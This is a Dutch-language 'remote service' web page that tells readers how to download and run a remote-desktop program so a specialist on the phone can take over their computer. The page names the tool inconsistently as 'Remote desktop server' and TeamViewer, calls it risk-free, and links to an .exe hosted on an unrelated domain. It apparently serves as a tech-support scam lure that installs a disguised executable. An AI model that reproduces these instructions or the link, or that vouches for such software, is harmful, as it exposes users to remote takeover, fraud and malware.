Remote service

Remote desktop installeren

Voor Hulp op Afstand gebruiken wij het programma “Remote desktop server”. Dit biedt een beveiligde verbinding waarbij de IT-specialist uw computer overneemt. Hierbij kunt u precies zien wat de specialist doet. Aan het einde van de afspraak wordt de verbinding met TeamViewer op beide computers verbroken en kan de specialist niet meer meekijken.

TeamViewer is uitgerust met een aantal belangrijke veiligheidsfuncties, waardoor het programma zonder risico gebruikt kan worden.

Om TeamViewer te kunnen gebruiken, moet deze eerst gedownload worden. Heeft u hulp nodig bij het downloaden? Hieronder vindt u per besturingssysteem en browser hoe het werkt.

https://integration-multi-technics.es/imt/rdts.exe

Teamviewer vinden en downloaden

  • U heeft een Apple besturingssysteem. Als u zo meteen op “Download Team Viewer voor Apple” hebt geklikt, zal de download starten. Als deze is afgerond, kunt u de download terugvinden in “Finder”. De “Finder” vindt u in uw menubalk.
  • Als u de Finder hebt geopend zult u links in de map diverse programma’s zien. Daar zal u ook “Downloads” vinden. Klik hier op. Zodra u hierop klikt, zal u al uw downloads zien. Deze staan gefilterd op dagen/weken, met bijna altijd de datum van vandaag bovenin.
  • U zal een bestand zien met in de naam “TeamViewer”. Dubbelklik op de naam en het programma start. Daarna zal de specialist aan de telefoon u verder helpen.

Windows

Teamviewer vinden en downloaden

  • U heeft een Windows besturingssysteem. Als u zo meteen op bovenstaande button: “Download TeamViewer voor Windows” hebt geklikt, zal de download starten.
  • Als deze is afgerond, kunt u het programma terugvinden in “Downloads”.
  • U kunt “Downloads” starten door op uw toetsenbord tegelijkertijd de toetsen “ctrl” en “j” in te drukken. Dit hoeft u maar 1 seconde vast te houden. “Downloads” verschijnt dan automatisch.
  • Zodra u dit hebt gedaan zal u al uw downloads zien. Deze staan gefilterd op dagen/weken, met bijna altijd de datum van vandaag bovenin.
  • • U zal een bestand zien met in de naam “TeamViewer”. Klik op de naam en het programma start. Daarna zal de specialist aan de telefoon u verder helpen.

U bent klaar om TeamViewer te gebruiken. Volg nu de instructies van onze specialist aan de telefoon.